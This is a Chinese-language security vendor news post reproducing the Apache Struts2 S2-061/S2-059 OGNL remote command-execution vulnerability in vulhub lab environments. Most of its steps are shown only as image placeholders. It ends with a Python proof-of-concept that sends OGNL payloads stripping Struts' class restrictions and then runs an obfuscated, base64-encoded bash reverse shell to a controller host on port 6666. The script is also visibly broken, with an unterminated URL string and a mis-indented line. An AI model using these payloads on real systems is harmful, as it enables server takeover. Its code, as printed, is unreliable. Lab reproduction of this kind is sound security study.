新闻中心

了解更多网络安全运营信息

当前位置:首页 > 新闻中心 > 行业新闻

命令执行漏洞复现

分类:行业新闻    时间:2024-06-11 10:26:07    阅读:293

1.漏洞介绍

Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。Struts2 会对某些标签属性(比如 id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。

2. 漏洞影响
范围:Apache Struts 2.0.0 - 2.5.25

3.漏洞复现
3.1 s2-061漏洞复现

vulhub启动s2-061漏洞靶场

image.png

s2-061漏洞利用

image.png

3.2 s2-059漏洞复现

vulhub启动s2-059漏洞靶场

image.png

image.png

s2-059漏洞利用,获取python地址

image.png

撰写POC脚本

image.png

在linux特有临时目录/tmp下创建空文件,由于通常该目录中不会存在该名称的文件,所以可以作为命令执行的验证命令.

image.png

可看到在/tmp/路径下,已成功创建的success文件,说明漏洞利用成功

4.反弹shell
受害端执行反弹shell命令

image.png

image.png


控制端监听,并执行创建文件file.txt命令

image.png

执行反弹shell的POC如下:

import requests
url = " 
data1 = {    
   "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"}
   data2 = {    
   "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMTAwLzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}'))}"}
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)